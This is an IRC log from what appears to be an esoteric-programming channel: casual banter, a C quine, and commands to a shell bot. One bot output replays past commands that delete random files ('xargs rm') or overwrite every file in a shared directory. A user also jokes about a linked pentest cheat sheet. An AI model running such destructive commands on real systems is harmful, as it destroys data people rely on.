03:31:49 <HackEgo> ​#include <stdio.h> \ int main(){char*s="#include <stdio.h>%cint main(){char*s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}
03:31:56 <oerjan> `` mv a.out quines/c
03:32:01 <HackEgo> No output.
03:33:27 <Etaoin> that's actually really cool
03:33:47 <oerjan> what is
03:35:15 <Etaoin> the thing you just did
03:35:57 <pikhq_> It's kinda a cute little quine.
03:35:58 <oerjan> it used to be like that, but today someone switched out with a new version just in text.
03:36:10 <Etaoin> https://www.gnu.org/fun/jokes/error-haiku.html
03:36:13 <oerjan> *it out
03:36:32 <Etaoin> wait just a sec
03:36:36 <pikhq_> Though I tend to prefer explicit declarations over an #include for stuff like that.
03:36:42 <pikhq_> (makes it a nice one-liner)
03:38:31 <Etaoin> what's the language called that uses "human interpreters" in this irc?
03:39:05 <Etaoin> ah IRP
03:39:18 <Etaoin> http://esolangs.org/wiki/IRP#99_bottles
03:39:32 <Etaoin> gf gave me a shirt with this printed on it 2 years ago
03:39:38 <oerjan> aww
03:39:43 <Etaoin> in glorious courier
03:40:07 <oerjan> wait, including the GregorR?
03:40:10 <Etaoin> is memonic an actual user?
03:40:13 <Etaoin> yes
03:40:20 <oerjan> i don't know
03:40:23 <Etaoin> I'll take pics when it's out of the wash
03:40:28 <Etaoin> if you want
03:40:42 <oerjan> it's probably old, maybe fizzie remembers
03:40:58 <Etaoin> does fungot remember
03:40:58 <fungot> Etaoin: please remember that. what is lisp in small pieces right fnord that anything like eopl? how does one make thunks useful?
03:41:47 <Etaoin> not sure if that's a yes
03:41:54 <Etaoin> though that might be undecidable
03:42:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
03:42:42 -!- hppavilion[1] has joined.
03:44:03 <quintopia> the existence of a user named mnemonic predates my arrival on irc
03:44:59 -!- jonne_ has joined.
03:45:30 <quintopia> *memonic
03:46:38 <coppro> mnemonic is correct though
03:46:50 <Etaoin> sadly not the username they used
03:48:42 <hppavilion[1]> I want to be a good wikipedian- like the proper zealots who are overinvested in Wikipedia- but I rarely see something in need of edits. Halp.
03:49:33 <Etaoin> learn an unused language and translate everything to that language?
03:51:22 <pikhq_> I'm not sure why, but I went and tinkered with that quine a bit and made it charset-independent...
03:52:08 <coppro> hppavilion[1]: fashion
03:52:12 <coppro> fashion articles are *abysmal*
03:52:29 <hppavilion[1]> coppro: And me editing them would only make it worse
03:52:43 <hppavilion[1]> Etaoin: Is there an esperanto wikipedia?
03:52:53 <Etaoin> yep
03:53:09 <Etaoin> extremely well detailed too
03:53:43 -!- copumpkin has joined.
03:53:46 <Etaoin> I.. I mean just detailed
03:53:52 <Etaoin> well detailed isn't a phrase
03:53:57 <Etaoin> yet
03:54:00 <hppavilion[1]> Yes there is
03:54:14 <hppavilion[1]> And a Lojban one
03:55:49 <hppavilion[1]> If a second language is an L2, what's an LΩ
03:56:40 <hppavilion[1]> Hm, should I learn Esperanto or Lojban?
03:57:15 <Etaoin> croatian
03:57:30 <oerjan> nah no one speaks croatian
03:57:33 * oerjan runs away
03:57:44 <Etaoin> I'm croatian :(
03:57:44 <jonne_> dobar vam dan svima
03:57:56 <Etaoin> the language, not the nationality
03:58:09 <oerjan> what, there are _two_ croatians here?
03:58:19 <oerjan> Etaoin: why do you think i ran away
03:58:32 <Etaoin> that may or may not be the gf I mentioned some time ago
03:58:36 <oerjan> aha
03:58:43 <oerjan> good taste in t-shirts
03:58:46 <jonne_> i know
03:58:59 <Etaoin> we all have 6 character nicks
03:59:11 -!- pikhq_ has changed nick to pikhq.
03:59:13 <pikhq> Fixed
03:59:13 <Etaoin> our messages are so nicely alligned, right fungot
03:59:13 <fungot> Etaoin: it's not deterministic
03:59:15 <oerjan> the one true nick length, right myndzi
03:59:30 <shachaf> hikhq_
03:59:34 <Etaoin> ban pikhq
04:00:58 <oerjan> i cannot, he works at google
04:01:13 <oerjan> the repercursions are too scary
04:01:15 <jonne_> does he work in the googleplex
04:01:17 <Etaoin> he outranks us all
04:01:36 <oerjan> jonne_: i don't know
04:01:46 <jonne_> tough crowd
04:01:53 <oerjan> Etaoin: well except fizzie
04:02:05 <Etaoin> fizzie works at googleplex?
04:02:16 <oerjan> no, but he is also an op hth
04:02:53 <oerjan> (i assume googleplex is that mountain view place, and fizzie is in london)
04:03:09 <Etaoin> googleplex is a number larger than google hth
04:03:30 <Etaoin> the mountain view place is google [x]
04:03:30 <oerjan> you're thinking of googol hth
04:04:01 <Etaoin> yes google is inspired by 80s scifi
04:04:09 <coppro> googoglplex is the number, googleplex is the campus
04:04:20 <Etaoin> is it actually called googleplex?
04:04:25 <coppro> yes
04:04:30 <Etaoin> that's genuinely amazing
04:04:49 <Etaoin> I'm just marveling at how hilarious computer people are today
04:05:50 <Etaoin> oh god
04:05:56 <Etaoin> google x changed their name to just "x"
04:06:03 <jonne_> i've told you it was called googleplex months ago
04:06:11 <Etaoin> https://www.solveforx.com/
04:06:14 <jonne_> i'm disappointed
04:06:20 <jonne_> and sort of jealous you got to relive that realization
04:06:22 <jonne_> for free
04:06:26 <oerjan> i think it's common knowledge that boyfriends don't listen hth
04:06:51 <Etaoin> nothing coppro says is free afaik
04:07:42 <Etaoin> Projects that X has considered and rejected include a space elevator, which was deemed to be currently infeasible;[28] a hoverboard, which was determined to be too costly relative to the societal benefits;[29] a user-safe jetpack, which was thought to be too loud and energy-wasting;[30] and teleportation, which was found to violate the laws of physics.
04:08:08 <Etaoin> someone should reorganize this sentence to be ascending in hilarity
04:09:09 <oerjan> you mean it isn't?
04:09:40 <Etaoin> the more I read it the more I find it is
04:10:05 <Etaoin> it really does hit a perfect high note with that ending
04:10:58 <jonne_> imagine if they did dabble in things acceptably costly in relation to the societal benefits
04:11:03 <jonne_> such as environmentalism
04:12:12 <Etaoin> they do self driving cars, that's a step in that direction I think
04:12:30 <oerjan> doesn't that Makani thing count?
04:15:09 <jonne_> what do these cars even run on
04:15:50 <zzo38> A road, I suppose
04:15:50 <Etaoin> intelligence
04:16:09 <jonne_> why don't you marry each other
04:17:15 <Etaoin> because roads are 2d and intelligence is ethereal
04:18:13 <jonne_> but how does it work, do you even need a driver's licence
04:18:51 <Etaoin> why would a car need a driver's licence
04:19:05 <jonne_> exactly
04:19:07 <Etaoin> do you need a walking licence?
04:19:18 <jonne_> maybe the future is here and i won't ever have to make that investment
04:19:36 <Etaoin> hopefully
04:23:51 <Etaoin> driving is for losers lol
04:24:32 <shachaf> `wisdom
04:24:40 <HackEgo> turkey//Turkey was the center of an empire that gobbled up much of Eastern Europe and the Middle East, something which brought them into conflict with Ostrich. In the 19th century the overstuffed empire started declining, and after the Great War it was cut up like so much Shish Kebab.
04:24:51 <oerjan> i'm pretty sure you'll need a driver's license at least until laws are changed.
04:25:01 <oerjan> also, someone in the driver's seat.
04:25:05 <Etaoin> not if I sit in the passenger seat
04:25:09 <Etaoin> dammit
04:25:15 <shachaf> `wisdom
04:25:17 <HackEgo> html//HTML is short for "hope this mess loads".
04:25:18 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…).
04:25:29 <shachaf> `wisdom
04:25:30 <shachaf> `wisdom
04:25:31 <shachaf> `wisdom
04:25:43 <Etaoin> <HackEgo> chill damn
04:25:59 <shachaf> definitely deleting that one
04:26:04 <HackEgo> diarrhea//Diarrhea is the most sickening accent, although some others are more grave.
04:26:05 <HackEgo> ​\//\ was initially popular as a replacement for the solidus, but inevitably there was a backslash.
04:26:05 <HackEgo> select//select is a very versatile construct: it waits for events, retrieves data from tables, creates a list from elements of an input list that satisfy a condition, a dropdown list element, an event for when selection changes, branches between multiple arms, conditional between two expressions, prints a text-based menu prompt in a loop, and more.
04:26:48 <Etaoin> tbh you should implement one that tells the user to chill if there's a lot of consecutive requests
04:27:00 <shachaf> 5 is the standard number
04:27:08 <shachaf> for 6 requests i'd agree
04:27:23 <shachaf> `culprits wisdom/html
04:27:33 <HackEgo> oerjan oerjan fizzie
04:28:04 <shachaf> hm
04:28:05 <shachaf> `5
04:28:10 <HackEgo> 1/2:422) <monqy> cigaretes and drunking "lame highs for lame people" <oerjan> yeah if it doesn't make you go crazy and shoot at people, it's not worth it. take it from a norwegian. \ 803) <Phantom_Hoover> unfortunately df is not yet able to simulate norway \ 871) <Bike> so, i'm readng chaitin's book on the diophantine thing, and h
04:28:14 <shachaf> `spam
04:28:16 <HackEgo> 2/2:e uses lisp with single-character variable names, in APL's character set. is there a reliable test to see if i'm actually in some caricatured hell? \ 547) <itidus20> my old 2d game is named either runch or turbo fight.... and its hard \ 742) <monqy> moral of the story with enough peer pressure nything is possible \
04:28:36 <shachaf> hm
04:28:41 <shachaf> nostalgia forbids deleting any of them
04:28:57 <Etaoin> why are you deleting :(
04:35:40 <zzo38> I think that you should hardly ever to delete them.
04:36:09 <shachaf> `quote
04:36:11 <HackEgo> 985) <olsner> metar lead to canada, more metar and cows
04:37:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
04:42:27 <oerjan> Etaoin: it's a tradition
04:43:00 -!- bender has joined.
04:43:02 <oerjan> although these days there are so few crap quotes left that we normally don't find anything we want to remove
04:43:35 <Etaoin> how come there's a shortage of crap quotes?
04:43:49 <oerjan> because we deleted them hth :P
04:44:00 <shachaf> `5
04:44:04 <HackEgo> 1/2:385) <SgeoN1> No nasty sounds for a while now. Going to turn off and on and see if the numbers get worse. \ 1070) <+kmc> Harry Potter and the Physical Impossibility of Death in the Mind of Someone Living \ 737) <monqy> 200 and 20 are the same <monqy> different notations for the same thing \ 368) <ais523> Phantom_Hoover: nope, I
04:44:09 <shachaf> `spam
04:44:11 <HackEgo> 2/2: removed . from the current directory \ 686) <fizzie> Quinary computers replace the cache with a quiche. \
04:44:41 <oerjan> what is that final newline for
04:44:50 <shachaf> Are quinary computers computers that can only run quines?
04:45:01 <Etaoin> why aren't there any new ones though °n°
04:45:21 <shachaf> oerjan: it's me being lazy hth
04:45:37 <oerjan> Etaoin: there are. but i think we've got slightly higher standards
04:45:39 <shachaf> oerjan: alt. it's for disambiguating between text that contains a final newline and text that doesn't
04:45:47 <oerjan> OKAY
04:45:54 <shachaf> `cat bin/sport
04:45:55 <HackEgo> distort "${1:-/dev/stdin}" | spore
04:45:59 <shachaf> `cat bin/distort
04:45:59 <HackEgo> ​#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = f.read().replace("\n", " \\ ") \ for i in xrange(0, len(data), N): \ print data[i:i+N]
04:49:18 <shachaf> `sled bin/distort//s#data = .*#data = ' \\\\ '.join(f.read().splitlines())#
04:49:21 <HackEgo> bin/distort//#!/usr/bin/env python \ import sys \ N=330 \ name = sys.argv[1] if len(sys.argv) > 1 else "/dev/stdin" \ with open(name, "r") as f: \ data = ' \\ '.join(f.read().splitlines()) \ for i in xrange(0, len(data), N): \ print data[i:i+N]
04:49:25 <shachaf> `5
04:49:28 <HackEgo> 1/3:946) <Bike> i've always wanted to xor swap transfinite ordinals \ 111) <fungot> ais523: elf corpses are not considered expensive health food. but the most expensive. \ 327) <oklopol> yes i use the services of a psychic, but i'm considering getting a live one since stuff like "hello $name, your first name $first_name has |$first_
04:49:31 <shachaf> `spam
04:49:31 <HackEgo> 2/3:name| letters, so by using numerology we can tell ..." is getting kind of boring \ 829) <elliott> I kept telling my therapist I wanted more conventional, non-hip-hop-oriented treatment, but it was no use. my shrinkwrapped. <elliott> okay i hate myself for making a pun that bad <elliott> please kill me <elliott> :( \ 776) <zzo
04:49:33 <shachaf> `spam
04:49:34 <HackEgo> 3/3:38> But I still sign by my pens and use extra dots and shapes and so on so that I can claim I was threatened to sign it and put those dots there to warn you, or whatever
04:49:36 <shachaf> oerjan: hth
04:50:17 <oerjan> . o O ( xor swapping transfinite ordinals is entirely reasonable )
04:50:55 -!- Reece` has quit (Quit: Alsithyafturttararfunar).
04:51:42 <oerjan> it's just nim addition after all
04:51:46 <oerjan> *nimber
04:52:40 <shachaf> Is there something like FRACTRAN that uses powers of 2 and sets instead of primes and bags?
04:53:10 <oerjan> i think we concluded it isn't TC with sets
04:53:41 <oerjan> in fact, that's pretty obvious, you get a finite number of bits
04:53:51 <shachaf> Well, you might have to use a more complicated operation.
04:53:57 <Etaoin> would you mind if I attempted at making my own bot? never done that before, might get interesting
04:54:26 <oerjan> shachaf: i know, you could treat the bits like a tape *runs away*
04:54:31 <shachaf> The one used by FRACTRAN (which would be something involving & and |, I guess) probably wouldn't work.
04:54:50 <oerjan> Etaoin: that's also traditional
04:55:23 <oerjan> and if it gets too spammy, it's traditional that shachaf asks you to move it to #esoteric-blah
04:55:49 <shachaf> And if it's actually too spammy, it's traditional that oerjan bans it a little later.
04:56:14 <oerjan> LIES
04:56:34 <Etaoin> I'm gonna believe the man with the correct amount of characters in their name on this one
04:56:44 <oerjan> darn
04:56:52 <shachaf> `? lies
04:56:53 <HackEgo> Lies are even easier than monoids. They form groups, known as Lie groups.
04:57:01 <Etaoin> that's you oerjan
04:57:10 <shachaf> oerjan's LIES was a lie
04:57:11 <oerjan> i know
04:57:23 <shachaf> I know *you* know.
04:57:34 <oerjan> i think possibly you know.
04:57:41 <jonne_> https://xkcd.com/1646/
04:57:42 * oerjan isn't that big on theory of mind.
04:57:43 <jonne_> relevant
04:57:44 <jonne_> maybe
04:58:17 <oerjan> jonne_: please don't link that where fungot can see it twh
04:58:17 <fungot> oerjan: i wonder if it works
04:58:21 <Etaoin> that kind of bot is obviously too spammy and would get moved to #esoteric-blah
04:58:28 <oerjan> fungot: NO IT DOES NOT WORK
04:58:28 <fungot> oerjan: i am if i call eval on it is there, use fnord)? i
04:58:56 <shachaf> fungot: why don't you try it hth
04:58:56 <fungot> shachaf: surely all 1x does is appends the x to the value of path slot.
04:59:12 <oerjan> shachaf: please don't doom us all twh
04:59:20 <shachaf> fungot: is oerjan doomed
04:59:20 <fungot> shachaf: the last one.)"
04:59:28 <shachaf> fungot: am i doomed
04:59:29 <fungot> shachaf: i'm having trouble getting the plt one
04:59:50 <Etaoin> fungot: are we all doomed?
04:59:50 <fungot> Etaoin: be there fnord. lanier thinks the software crisis. tush ehird print " fnord
05:00:01 <Etaoin> we're ok I think
05:00:22 <shachaf> fungot: are you referring to sidney lanier twh
05:00:22 <fungot> shachaf: if you want to offer you this one too. fnord.
05:03:14 <shachaf> fungot: look where too much fun got you
05:03:14 <fungot> shachaf: cette newsletter n'est pas un programme." is that like cracking your knuckles, except you're an octopus? i can't seem to get the user accounts too, this'll take days.
05:03:40 <shachaf> ceci n'est pas un bot
05:06:05 <shachaf> `wisdom
05:06:06 <HackEgo> superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal//Superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal is where mroman lives.
05:06:20 <shachaf> `culprits wisdom/superduperinteressantesandersonnegelegenesdorfmitoderohnesahneistunsdabeiabsolutscheissegal
05:06:26 <HackEgo> mroman
05:06:27 <shachaf> TOO LONG TDNH
05:07:46 <oerjan> it's just german it's supposed to be that way hth
05:08:10 <shachaf> `wisdom
05:08:11 <HackEgo> chicken//chicken is boily af
05:08:24 <shachaf> `culprits wisdom/chicken
05:08:30 <HackEgo> mroman
05:13:00 <shachaf> `wisdom
05:13:03 <HackEgo> extreme irony//Extreme irony is what happens when you get a Darwin award for extreme ironing.
05:13:13 <shachaf> `culprits wisdom/extreme irony
05:13:17 <HackEgo> oerjan oerjan oerjan
05:13:28 <shachaf> Maybe I ought to make a version of `wisdom with built-in culprits.
05:14:10 <zgrep> I remember the days when HackEgo replied instantly...
05:14:27 -!- Kaynato has quit (Ping timeout: 244 seconds).
05:14:32 <Etaoin> how come it's slow though?
05:14:52 <zgrep> I don't know. I tried to set up my own variant of it, but the main userspace linux emulator thingy kept segfaulting.
05:15:12 <Etaoin> :(
05:15:29 <zgrep> I have a plan to make an IRC bot that simply runs inside a VM, and passes through things to bash without actually trying to do any shielding or anything.
05:15:54 <Etaoin> are programming languages created or discovered
05:16:13 <zgrep> Well, same of any idea, really. Both, in my opinion.
05:17:10 <Etaoin> does the answer change if said programming languages are joke languages?
05:17:23 <zgrep> Nah. Still both.
05:17:32 <zgrep> Sure, as an idea it has always existed. But /somebody/ had to jump through the mental hoops to figure it out. They "created" it by thinking of it out of "nothing".
05:17:46 <jonne_> it's 6am don't indulge him
05:17:54 <zgrep> Not for me.
05:17:57 <zgrep> :P
05:18:10 <shachaf> `wisdom
05:18:12 <HackEgo> nano//nano is vi's sister.
05:18:19 <shachaf> `wisdom
05:18:20 <HackEgo> helsinki//Helsinki is the capital of Finland. Its main suburb is Hexham, Northumberland.
05:18:27 <zgrep> Hm. Why's it a double /? Didn't it used to be a single slash?
05:18:39 <shachaf> Double / is the best.
05:18:42 <shachaf> `wisdom /
05:18:44 <HackEgo> find: warning: Unix filenames usually don't contain slashes (though pathnames do). That means that '-name `*/*'' will probably evaluate to false all the time on this system. You might find the '-wholename' test more useful, or perhaps '-samefile'. Alternatively, if you are using GNU grep, you could use 'find ... -print0 | grep -FzZ `*/*''. \ //c
05:18:55 <shachaf> oops
05:18:55 <zgrep> Haha.
05:18:57 <zgrep> :D
05:18:59 <shachaf> oerjan: fix it twh
05:19:35 <shachaf> `smlist 445
05:19:36 <HackEgo> smlist 445: shachaf monqy elliott mnoqy
05:21:11 <Etaoin> is it possible to crash hackego
05:21:50 <zgrep> Possibly. It'd take quite the maneuvering, though. You'd have to break out of the UML thingy.
05:22:26 <zgrep> Huh. It took me this long to realise your nick is Etaoin, and that the rest of it is shrdlu. ._.
05:23:17 <Etaoin> I hope I'm not stealing someone else's nick
05:23:22 * zgrep vanishes back into mysterious idling for a long time
05:24:36 <Etaoin> I'mma go sleep cya <3
05:24:59 -!- Etaoin has quit (Quit: Page closed).
05:35:58 <oerjan> `find -path
05:36:01 <HackEgo> find: missing argument to `-path'
05:36:10 <oerjan> `cat bin/wisdom
05:36:11 <HackEgo> F="$(find wisdom -name "*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
05:37:10 <oerjan> `sled bin/wisdom//s,-name ",-ipath "wisdom/,
05:37:15 <HackEgo> bin/wisdom//F="$(find wisdom -ipath "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
05:37:21 <oerjan> `wisdom wisdom
05:37:31 <HackEgo> wisdome//The Wisdome is the place where all of HackBot's wisdom is stored and forced to fight to the death for the freedom of being printed out when you type `wisdom.
05:37:34 <oerjan> hm wait
05:38:10 <oerjan> `cat bin/lowercase
05:38:11 <HackEgo> ​#!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g'
05:38:35 <oerjan> `sled bin/wisdom//s/ipath/path/
05:38:39 <HackEgo> bin/wisdom//F="$(find wisdom -path "wisdom/*$(echo "$1" | lowercase)*" -type f -print0 | shuf -z -n1)"; echo -n "${F#wisdom/}//" | rnooodl; cat "$F" | rnooodl
05:38:43 <oerjan> `wisdom /
05:38:45 <HackEgo> ​¯\(°​_o)/¯//¯\(°​_o)/¯ is a misspelling of ¯\(°_o)/¯
05:39:17 <oerjan> `wisdom //
05:39:18 <HackEgo> ​//cat: : No such file or directory
05:39:30 -!- jonne_ has quit (Quit: Page closed).
05:39:49 <oerjan> shachaf: that'll be 6 zorkmids hth
05:40:06 <shachaf> oerjan: are we charging each other for HackEgo changes now?
05:40:58 <oerjan> `8ball are we charging each other for HackEgo changes now?
05:40:58 <oerjan> are we charging each other for HackEgo changes now?
05:41:00 <HackEgo> You may rely on it.
05:41:05 <shachaf> i'm not sure the balance will wind up being in your favor hth
05:41:08 <oerjan> dammit stupid network
05:41:42 <oerjan> well i'm always off balance anyway.
05:42:22 <shachaf> `slwd oerjan//s#over#under#
05:42:25 <HackEgo> wisdom/oerjan//Your mysterious articled cackling zombie underlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it.
05:44:42 <oerjan> wtf monday forecast
05:45:06 <oerjan> i think i shall not be outside at around 18
05:45:16 <oerjan> (not that i was planning to, anyway)
05:45:49 <shachaf> `? weather
05:45:51 <HackEgo> lambdabot: @@ @@ (@where weather) CYUL ENVA ESSB KOAK
05:45:54 <lambdabot> CYUL 260400Z 00000KT 15SM FEW250 22/13 A3009 RMK CI2 SLP192 DENSITY ALT 700FT \ ENVA 260420Z 09003KT 9999 SCT010 BKN014 12/10 Q1016 RMK WIND 670FT 09006KT \ ESSB 260420Z AUTO 08007KT 9999 BKN098/// BKN180/// 20/16 Q1012 \ KOAK 260353Z 28013KT 10SM FEW180 17/11 A2993 RMK AO2 SLP135 T01720106
05:49:30 <oerjan> 2.9 - 14.3 mm, that one hour.
05:49:41 -!- Melvar` has joined.
05:49:54 <oerjan> not very precise, i guess
05:50:15 -!- idris-bot has quit (Ping timeout: 264 seconds).
05:51:33 -!- idris-bot has joined.
05:51:48 -!- Melvar has quit (Ping timeout: 244 seconds).
05:53:24 -!- Melvar` has changed nick to Melvar.
06:13:00 -!- Destructible has joined.
06:17:17 -!- hppavilion[1] has joined.
06:17:28 <hppavilion[1]> Hm, would it be better to translate languages by going from the main language to lojban then from lojban to the target than just from source to target?
06:18:05 <Destructible> probably not
06:18:30 <Destructible> because any resolution conserved would only be done by the people making the conversion to lojban
06:19:09 <Destructible> perhaps it could be useful for converting it to a language where it is well described, before someone else translates it
06:25:16 <Cale> Hm, would it be better to translate audio formats by going from FLAC to Ogg Vorbis then from Ogg Vorbis to MP3, than just from FLAC to MP3?
06:26:29 <coppro> no
06:26:51 <coppro> never use a lossy format as an intermediate as you'll just introduce more degradation
06:30:23 <pikhq> In video lossy formats often get used as intermediates.
06:30:48 <pikhq> Not that it's a good idea there either, it's just more common because raw or lossless compressed video is pretty sizable.
06:36:26 <hppavilion[1]> https://upload.wikimedia.org/wikipedia/commons/d/da/Voiceless_glottal_fricative.ogg should be a meme for responding to terrible jokes
06:42:16 <hppavilion[1]> Do linguists have a term for the way people talk to their pets?
06:43:03 -!- lambda-11235 has quit (Ping timeout: 264 seconds).
06:48:02 <Cale> coppro: I was joking about the question about languages :)
06:49:00 <coppro> ohhh
06:49:07 <coppro> missed it lol
06:49:07 <Destructible> I FOUND THAT FILE BEFORE
06:49:15 <Destructible> I SAVED IT MY COMPUTER
06:49:18 <Destructible> it was amazing
06:49:18 <shachaf> Cale: Well, for audio formats you have a lossless option you can use instead, so you don't have to write n^2 converters.
06:49:44 <shachaf> There's no lossless language option, so in theory using a lossy language might make sense to save work.
06:50:06 <shachaf> Even if some intermediate format did make sense, though, it would almost certainly not be lojban.
06:51:03 <Destructible> To be honest, language is a lossy format as well
06:51:09 <Destructible> To begin with.
06:53:35 <pikhq> And translation is not exactly as practical to do automatically as audio format conversion is.
06:54:34 <hppavilion[1]> Destructible: That particular file I sent?
06:54:44 <Destructible> yes
06:54:52 <Destructible> i saved it before
07:21:35 <hppavilion[1]> There seems to be a rule that, if a word contains the diletter "py" or "pi", it is required that there be a (completely irrelevant) python library with a name based on it
07:22:05 <shachaf> "happy" is a haskell package
07:22:11 <shachaf> but not a haskell-python bridge
07:22:14 <shachaf> what a waste
07:31:42 <hppavilion[1]> shachaf: There's probably also a haskell-python bridge called happy
07:31:56 <hppavilion[1]> shachaf: If there isn't, we must execute the BDFL of happy and take its place
07:32:20 <hppavilion[1]> Also, how do you know there isn't a python package called "happy" fitting the criterium?
07:32:39 <shachaf> how can you truly know anything
07:32:43 <shachaf> the world is a mystery
07:33:30 <Cale> like birds
07:33:38 <Cale> what are birds?
07:33:44 <Cale> We just don't know.
07:34:10 <shachaf> `? birds
07:34:25 <shachaf> why is HackEgo so slow? we just don't know
07:34:26 <HackEgo> bird bird bird bird
07:34:33 <shachaf> `hoag wisdom/bird
07:34:42 <HackEgo> ​<int-e> revert accbc9c5c7ec \ <ais523> echo wisdom/* | shuf | head -n 10 | xargs rm \ <oerjan> revert \ <elliott> revert 1 \ <Bike> revert \ <FreeFull> for x in wisdom/*; do rev "$x" > "$x"a; mv "$x"a "$x"; done \ <Phantom_Hoover> learn bird bird bird bird \ <nortti> learn bird is a dinosaur \ <Phantom_Hoover> learn bird bird bird bird
07:38:12 -!- oerjan has quit (Quit: Nite).
07:43:21 <shachaf> `? nite
07:43:22 <HackEgo> nite? ¯\(°​_o)/¯
07:48:43 -!- augur has quit (Remote host closed the connection).
07:58:04 <\oren\> Aw shit I made myself sound really old!
07:58:50 <\oren\> I remarked about "waiting for the game boy advance sp instead of buying the first gba"
08:01:54 <\oren\> how does one catch oneself from saying things that will inadvertently show one's age?
08:03:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
08:03:56 <pikhq> That doesn't make you sound very old...
08:05:24 <Taneb> pikhq, older than me, I guess, but probably younger than most of the channel
08:06:00 -!- Akaibu has joined.
08:06:01 <pikhq> Yeah, it only makes you "maybe mid-20s"
08:08:53 <shachaf> I never had any Nintendo things.
08:09:09 <\oren\> Actually, there's a more general question. How do you detect statements that reveal personal information indirectly? Can an automatic system be made to build up a profile of an anonymous person based on such statments?
08:09:19 <shachaf> People try to make me feel like I missed out on life.
08:09:21 <shachaf> Scowple.
08:10:18 <\oren\> seems like a pretty hard AI task
08:13:30 <\oren\> but on the other hand a system like that can also be used to automatically prevent people from revealing too much about themselves
08:14:17 <shachaf> You should reveal literally everything about yourself.
08:14:25 <shachaf> Don't you want to make the world more open and connected?
08:15:34 <pikhq> shachaf: Almost all of my Nintendo things have been adulthood purchases, if that makes you feel better.
08:15:47 <\oren\> I already kinda do. I'm using my real name here...
08:16:14 <shachaf> pikhq: How's pooching?
08:16:22 <pikhq> I don't, but many of you know my real name, and those of you who don't are a trip to google.com away.
08:16:32 <pikhq> shachaf: Doin' okay. Hopeful for my interview on Tuesday.
08:16:45 <\oren\> pikhq: that's true for me too, but only because I have way more money now to buy everything
08:18:23 <shachaf> What sort?
08:18:58 <pikhq> Code interview for an SRE position up in SF.
08:19:01 -!- MoALTz has joined.
08:23:09 <coppro> pikhq: internal?
08:49:17 -!- gamemanj has joined.
09:05:47 <Destructible> hi
09:07:25 -!- Destructible has quit (Quit: Page closed).
09:07:30 <zzo38> How should I to do keyboard mapping lookup in Xwicketset? Using XKeysymToString and XrmStringToQuark every time a key is pushed would probably be slow?
09:30:50 -!- hppavilion[1] has joined.
09:46:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
11:24:49 <izabera> https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/
11:25:04 <izabera> this is great
11:25:11 <izabera> gcc -o exploit exploit.c i needed this so much
11:25:26 <gamemanj> yeah, gcc -o is a really useful option
11:25:28 <gamemanj> it like...
11:25:29 <gamemanj> makes output
11:25:41 <gamemanj> go to a different place! *drama*
11:28:02 <izabera> i'm so glad they show how to create a suid shell for both /bin/bash and /bin/sh
11:36:43 <gamemanj> it has some useful stuff like
11:36:52 <gamemanj> a reference to The Martian for their ASCII table
11:37:26 -!- Akaibu has quit (Quit: Connection closed for inactivity).
11:38:25 <gamemanj> and such lovely advice as "Use google to search exploit-db.com for exploits" (yeah, that's not suspicious)
11:45:24 -!- prooftechnique_ has quit (Ping timeout: 260 seconds).
11:46:59 -!- prooftechnique has joined.
12:10:09 -!- Reece` has joined.
12:30:02 -!- jaboja has joined.
12:45:15 -!- jaboja has quit (Read error: Connection reset by peer).
12:52:32 -!- jaboja has joined.
12:58:30 -!- jaboja has quit (Remote host closed the connection).
13:01:26 <fizzie> I've never hung around on #IRP, so I wouldn't've seen the dicussion involving 'memonic', if that really happened.
13:09:33 <izabera> how do you read wouldn't've ?
13:24:01 <gamemanj> would not have
13:24:36 <gamemanj> Person A: Are you intending on destroying the world? Person B: I wouldn't've even dreamt of it.
13:24:59 <gamemanj> (of course, person B may be telling lies)
13:25:06 <gamemanj> (but that's not the point)
13:25:17 <izabera> that was an interesting subplot
13:25:45 <gamemanj> In any language where you can tell truth, you can tell lies
13:26:08 <gamemanj> (as long as those truths are arbitrary)
13:26:23 <FireFly> What about the other way around? (what about newspeak?j
13:26:28 <FireFly> )*
13:27:02 <gamemanj> As long as those lies are arbitrary.
13:27:19 <gamemanj> everybody can tell what "ungood" means
13:27:36 <gamemanj> for example, uncreating the universe could be considered ungood
13:28:26 <gamemanj> Note the "as long as they're arbitrary" - you have to have enough expression to tell whatever lies you need, and by having that you also leave a hole open for telling truth
13:30:03 <gamemanj> Even a simple operator that expresses a fact to be not-true allows expressing a truth for any lie
13:30:14 <gamemanj> because you can just prepend that operator
13:30:18 <gamemanj> to the lie
13:30:38 <gamemanj> And since your oppressive regime will have to, one day, say that the words of the rebels aren't true...
13:31:02 <gamemanj> Someone will find a way to express (perhaps with some monkey-patching of the language), that your words aren't true.
13:44:11 <izabera> \oren\: http://unicodepowersymbol.com/
13:44:36 -!- jaboja has joined.
13:52:15 <lifthrasiir> \oren\: also, Tangut
13:52:26 <lifthrasiir> good luck with them!
13:52:45 * lifthrasiir is looking forward the eventual encoding of classical Yi script
13:52:58 <lifthrasiir> (88,000 characters proposed, probably the largest of any Unicode proposal)
13:56:39 -!- HackEgo has quit (Ping timeout: 260 seconds).
13:57:59 -!- HackEgo has joined.
13:58:55 <nortti> lifthrasiir: out of interest, what's the story of your nick?
13:59:52 <lifthrasiir> I've just taken a nick of appropriate complexity (deriving from Lífþrasir of Norse mythology) and tweaked it so that it is available in gmail
14:00:12 <nortti> ah
